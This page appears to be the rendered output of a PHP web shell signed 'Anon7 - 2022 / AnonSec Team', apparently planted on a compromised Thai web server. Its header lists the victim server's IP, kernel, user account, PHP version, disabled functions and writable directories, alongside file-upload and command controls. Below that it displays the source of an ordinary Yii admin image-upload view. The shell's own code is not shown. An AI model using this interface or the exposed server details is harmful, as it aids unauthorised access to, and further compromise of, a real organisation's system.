NG1NDEX
Server IP : 103.233.192.212  /  Your IP : 3.12.149.233
Web Server : Apache/2
System : Linux sv1.inde.co.th 3.10.0-1160.36.2.el7.x86_64 #1 SMP Wed Jul 21 11:57:15 UTC 2021 x86_64
User : sumpatuan ( 1058)
PHP Version : 5.5.38
Disable Function : symlink,shell_exec,exec,proc_close,proc_open,popen,system,dl,putenv,passthru,escapeshellarg,escapeshellcmd,pcntl_exec,proc_get_status,proc_nice,proc_terminate,pclose,ini_alter,virtual,openlog,ini_restore
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/sumpatuan/public_html/backup/protected/views/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/sumpatuan/public_html/backup/protected/views/admin/pictureEtcAdd.php
<script type="text/javascript">
$(function(){
    $('.import-file').click(function() {
        $('.progressBar').css({'display':'block'});
    })
})
</script>

<div class="row-fluid">
    <div class="span12">

        <div class="progressBar" style="display: none;">
            <?php
            $this->widget('bootstrap.widgets.TbProgress', array(
                'type' => 'success',
                'percent' => 100,
                'striped' => true,
                'animated' => true,
            ));
            ?>
        </div>

        <fieldset>
            <legend>
                <span>ส่วนจัดการ เพิ่มข้อมูลไฟล์อื่นๆ</span>
            </legend>

            <?php
            $this->beginWidget('CActiveForm', array(
                'action' => Yii::app()->controller->createUrl('PictureEtcAdd'),
                'htmlOptions' => array('enctype' => 'multipart/form-data'),
            ));
            ?>
            <table class="tableForm">
                <tr>
                    <td width="67"></td>
                    <td>
                        <span class="detailTextMultiFile">สามารถทำการ Upload ไฟล์ได้ จำนวนหลายไฟล์</span>
                    </td>
                </tr>
                <tr>
                    <td class="tableFormRight"><label>ข้อมูลไฟล์</label></td>
                    <td>
                        <?php
                        $this->widget('CMultiFileUpload', array(
                            'model' => $model, // model ที่ติดต่อกับ table ภายใน database
                            'attribute' => 'path_pic', // ชื่อ fields ที่ต้องการ
                            'accept' => 'jpg|jpeg|png', // extensions ที่สามารถ upload ได้
                            'denied' => 'ต้องเป็นนามสกุล .jpg .jpeg .png เท่านั้น!', // คำที่ใช้เมื่อ extensions ของไฟล์ ไม่ถูกต้อง
                            // 'max' => 4, // สามารถอัพไฟล์ได้เท่าไ                            
                            'remove' => '[ลบออก]', // คำที่ใช่ในการลบ
                            'duplicate' => 'ไฟล์ห้ามซ้ำ', // คำที่ใช้เมื่อไฟล์ซ้ำ
                        ));
                        ?>
                    </td>
                </tr>
                <tr>
                    <td></td>
                    <td>
                        <?php echo CHtml::submitButton('ตกลง', array('class' => 'btn btn-primary import-file')); ?>
                    </td>
                </tr>
            </table>
            <?php $this->endWidget(); ?>
            <hr />
        </fieldset>
        
    </div>
</div>

Anon7 - 2022
AnonSec Team